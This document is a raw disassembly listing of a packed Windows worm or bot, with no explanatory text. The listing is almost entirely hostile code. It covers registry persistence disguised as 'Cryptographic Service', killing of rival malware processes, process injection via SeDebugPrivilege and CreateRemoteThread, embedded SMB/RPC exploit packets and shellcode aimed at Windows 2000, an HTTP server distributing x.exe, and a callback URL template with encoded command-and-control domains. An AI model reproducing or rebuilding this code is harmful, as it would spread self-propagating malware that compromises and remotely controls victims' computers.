sub_31421FF9 mov ebx, eax call sub_31422712 cmp ebx, 100007Fh jz short loc_314227FA push ebx push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_314227FA: ; CODE XREF: UPX0:314227EBj mov dword ptr [esp+10h], 4 loc_31422802: ; CODE XREF: UPX0:31422813j push ebx push offset sub_314225C3 call sub_31421F52 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31422802 test ebp, ebp jle short loc_3142282A loc_31422819: ; CODE XREF: UPX0:31422828j push 0 push offset sub_3142264B call sub_31421F52 pop ecx dec ebp pop ecx jnz short loc_31422819 loc_3142282A: ; CODE XREF: UPX0:31422817j ; UPX0:31422836j ... call sub_31422038 test eax, eax jz short loc_31422838 push edi call esi ; Sleep jmp short loc_3142282A ; --------------------------------------------------------------------------- loc_31422838: ; CODE XREF: UPX0:31422831j ; UPX0:31422844j call sub_31422038 test eax, eax jnz short loc_31422846 push edi call esi ; Sleep jmp short loc_31422838 ; --------------------------------------------------------------------------- loc_31422846: ; CODE XREF: UPX0:3142283Fj call sub_31422712 jmp short loc_3142282A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142284D proc near ; CODE XREF: sub_314229E6+93p ; sub_31422B67+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jnz short loc_31422880 push [ebp+arg_8] push [ebp+arg_4] call dword_31421010 ; RegDeleteValueA push [ebp+arg_4] call dword_31421014 ; RegCloseKey loc_31422880: ; CODE XREF: sub_3142284D+1Cj pop ebp retn sub_3142284D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422882 proc near ; CODE XREF: sub_314221C4+33p ; sub_314229E6+84p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jz short loc_314228AE push 1 pop eax jmp short loc_314228D8 ; --------------------------------------------------------------------------- loc_314228AE: ; CODE XREF: sub_31422882+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31421008 ; RegQueryValueExA test eax, eax jz short loc_314228CD push 2 pop esi loc_314228CD: ; CODE XREF: sub_31422882+46j push [ebp+arg_10] call dword_31421014 ; RegCloseKey mov eax, esi loc_314228D8: ; CODE XREF: sub_31422882+2Aj pop esi leave retn sub_31422882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314228DB proc near ; CODE XREF: sub_31422A9B+96p ; sub_31422B67+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31421000 ; RegCreateKeyExA test eax, eax jz short loc_31422904 push 1 pop eax jmp short loc_3142292B ; --------------------------------------------------------------------------- loc_31422904: ; CODE XREF: sub_314228DB+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31421004 ; RegSetValueExA test eax, eax jz short loc_31422920 push 2 pop esi loc_31422920: ; CODE XREF: sub_314228DB+40j push [ebp+arg_4] call dword_31421014 ; RegCloseKey mov eax, esi loc_3142292B: ; CODE XREF: sub_314228DB+27j pop esi pop ebp retn sub_314228DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142292E proc near ; CODE XREF: sub_314229E6+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31421084 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_314229E2 loc_3142294E: ; CODE XREF: sub_3142292E+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31422957 dec esi jns short loc_3142294E loc_31422957: ; CODE XREF: sub_3142292E+24j push 0 push 2 call sub_31422D2C ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_314229E2 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31422CD6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31422D26 ; Process32First test eax, eax jz short loc_314229E2 lea esi, [esi+ebx+1] loc_3142299F: ; CODE XREF: sub_3142292E+B2j lea eax, [ebp+var_104] push eax push esi call dword_31421104 ; strstr pop ecx test eax, eax pop ecx jz short loc_314229CF push [ebp+var_120] push 0 push 1F0FFFh call dword_314210B0 ; OpenProcess push 0 push eax call dword_31421060 ; TerminateProcess loc_314229CF: ; CODE XREF: sub_3142292E+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31422D20 ; Process32Next test eax, eax jnz short loc_3142299F loc_314229E2: ; CODE XREF: sub_3142292E+1Aj ; sub_3142292E+38j ... pop esi pop ebx leave retn sub_3142292E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314229E6 proc near ; CODE XREF: UPX0:3142237Bp var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31422A56: ; CODE XREF: sub_314229E6+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422A8D push ebx push edi push esi call sub_3142284D lea eax, [ebp+var_13C] push eax call sub_3142292E add esp, 10h loc_31422A8D: ; CODE XREF: sub_314229E6+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31422A56 pop edi pop esi pop ebx leave retn sub_314229E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422A9B proc near ; CODE XREF: sub_31422B67+D1p ; sub_31422B67+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31422AB0 push [ebp+arg_0] call dword_31421074 ; DeleteFileA loc_31422AB0: ; CODE XREF: sub_31422A9B+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3142108C ; GetSystemDirectoryA test eax, eax jz locret_31422B65 push esi call dword_314210FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31421F73 mov esi, dword_31421088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314241F0 push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset dword_314241F8 push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31421050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31421084 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_314228DB add esp, 14h push dword_31424FF4 call dword_3142107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31421054 ; WinExec push 1F4h call dword_31421094 ; Sleep push 0 call dword_314210E0 ; ExitProcess pop esi locret_31422B65: ; CODE XREF: sub_31422A9B+23j leave retn sub_31422A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422B67 proc near ; CODE XREF: UPX0:31422380p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31421048 ; GetModuleFileNameA test eax, eax jz loc_31422CA0 and dword_31425010, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422BED call dword_314210FC ; rand push 0Ah mov ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31421F73 pop ecx pop ecx push ebx call dword_31421084 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_314228DB add esp, 14h jmp short loc_31422BFC ; --------------------------------------------------------------------------- loc_31422BED: ; CODE XREF: sub_31422B67+4Dj lea eax, [ebp+var_20] push eax push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" call dword_31421068 ; lstrcpyA loc_31422BFC: ; CODE XREF: sub_31422B67+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422C42 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_314228DB lea eax, [ebp+var_84] push eax push 0 call sub_31422A9B add esp, 1Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C42: ; CODE XREF: sub_31422B67+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3142104C ; lstrcmpiA test eax, eax jnz short loc_31422C8B lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422CA0 push ebx push edi push esi mov dword_31425010, 1 call sub_3142284D add esp, 0Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C8B: ; CODE XREF: sub_31422B67+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31422A9B pop ecx pop ecx loc_31422CA0: ; CODE XREF: sub_31422B67+1Fj ; sub_31422B67+D9j ... pop edi pop esi pop ebx leave retn sub_31422B67 endp ; =============== S U B R O U T I N E ======================================= sub_31422CA5 proc near ; CODE XREF: sub_314211A0+CAp ; sub_314215C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31421044 ; VirtualAlloc retn sub_31422CA5 endp ; =============== S U B R O U T I N E ======================================= sub_31422CB9 proc near ; CODE XREF: sub_314211A0+10Bp ; sub_314215C7+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31421040 ; VirtualFree retn sub_31422CB9 endp ; --------------------------------------------------------------------------- align 10h loc_31422CD0: ; DATA XREF: sub_31421422+Ao ; sub_314223B2+Ao jmp dword ptr loc_31421100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CD6 proc near ; CODE XREF: sub_31421801+128p ; sub_31421801+134p ... jmp dword_314210F8 sub_31422CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CDC proc near ; CODE XREF: sub_31421801+9Cp ; sub_31421801+C5p ... jmp dword_314210F4 sub_31422CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CE2 proc near ; CODE XREF: sub_31421801+93p ; sub_31421801+B2p ... jmp dword_314210F0 sub_31422CE2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31422CF0 proc near ; CODE XREF: sub_31421801+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31422D10 loc_31422CFC: ; CODE XREF: sub_31422CF0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31422CFC loc_31422D10: ; CODE XREF: sub_31422CF0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31422CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D20 proc near ; CODE XREF: sub_3142292E+ABp jmp dword_31421064 sub_31422D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D26 proc near ; CODE XREF: sub_3142292E+64p jmp dword_3142105C sub_31422D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D2C proc near ; CODE XREF: sub_3142292E+2Dp jmp dword_31421058 sub_31422D2C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4B3h dup(0) dword_31424000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_31421422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314215C7+84o align 10h byte_31424080 db 0 ; DATA XREF: sub_314216A2+1Br off_31424081 dd offset dword_314241E4 ; DATA XREF: sub_314216A2+23r align 2 dd offset dword_314241D4 dw 0C401h dd 1314241h, 314241B4h, 4241A000h, 41900131h, 80013142h dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h dd 1314241h, 3142413Ch, 42417400h, 41D40131h, 30003142h dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314241D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314241E4 dd 617A616Dh, 616B6166h, 75722Ehdword_314241F0 dd 6578652Eh, 0 ; sub_3142207E+55o ... dword_314241F8 dd 5Ch ; sub_31422A9B+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314211A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_31421422+34o align 10h aHttpS db 'http://%s',0 ; DATA XREF: sub_314215C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%s',0 ; DATA XREF: sub_314215C7+57o align 8 byte_314242B8 db 0EBh ; DATA XREF: sub_31421801+24Eo ; sub_31421801+260o ... db 58h word_314242BA dw 7468h ; DATA XREF: sub_31422712+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_31424580 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31421801+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_3142460C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_314246B8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31424798 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31421801+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_314247FC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31424868 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_3142490C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_3142498C dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31424A20 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31424A8C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31424B00 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31424BBE dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31424BF8 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_31421801+41Bo ; sub_31421801+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31424C70: ; DATA XREF: sub_31421801+44Ao jmp short loc_31424C78 ; --------------------------------------------------------------------------- jmp short loc_31424C7A ; --------------------------------------------------------------------------- align 8 loc_31424C78: ; CODE XREF: UPX0:loc_31424C70j ; DATA XREF: sub_31421801+5Co pop esp pop esp loc_31424C7A: ; CODE XREF: UPX0:31424C72j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31424C84 dd 1CEC8166h dword_31424C88 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31421D68+8o ; sub_314223B2+12Co align 10h aUterm19 db 'uterm19',0 ; DATA XREF: sub_31421DF0:loc_31421ED5o ; UPX0:31422351o ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31421DF0+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31421DF0+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31421DF0+18o align 4 dword_31424D38 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_3142207E+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:3142233Co align 4 aUser32 db 'user32',0 ; DATA XREF: sub_314223B2+133o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_314223B2+125o align 4 aWininet db 'wininet',0 ; DATA XREF: sub_314223B2+11Eo aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_314223B2+111o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_314223B2+BDo align 4 aU19 db 'u19',0 ; DATA XREF: sub_314223B2+B6o aU18 db 'u18',0 ; DATA XREF: sub_314223B2+AFo aU17 db 'u17',0 ; DATA XREF: sub_314223B2+A8o aU16 db 'u16',0 ; DATA XREF: sub_314223B2+A1o aU15 db 'u15',0 ; DATA XREF: sub_314223B2+9Ao aU14 db 'u14',0 ; DATA XREF: sub_314223B2+93o aU13i db 'u13i',0 ; DATA XREF: sub_314223B2+8Co align 4 aU13 db 'u13',0 ; DATA XREF: sub_314223B2+85o aU12 db 'u12',0 ; DATA XREF: sub_314223B2+7Eo aU11 db 'u11',0 ; DATA XREF: sub_314223B2+77o aU10 db 'u10',0 ; DATA XREF: sub_314223B2+70o aU9 db 'u9',0 ; DATA XREF: sub_314223B2+69o align 4 aU8 db 'u8',0 ; DATA XREF: sub_314223B2+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_314223B2+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_314223B2+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_314223B2+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_314223B2+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_314223B2+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_314223B2+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_314223B2+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_314223B2+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_314223B2+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do align 4 aSoftwareMicros db 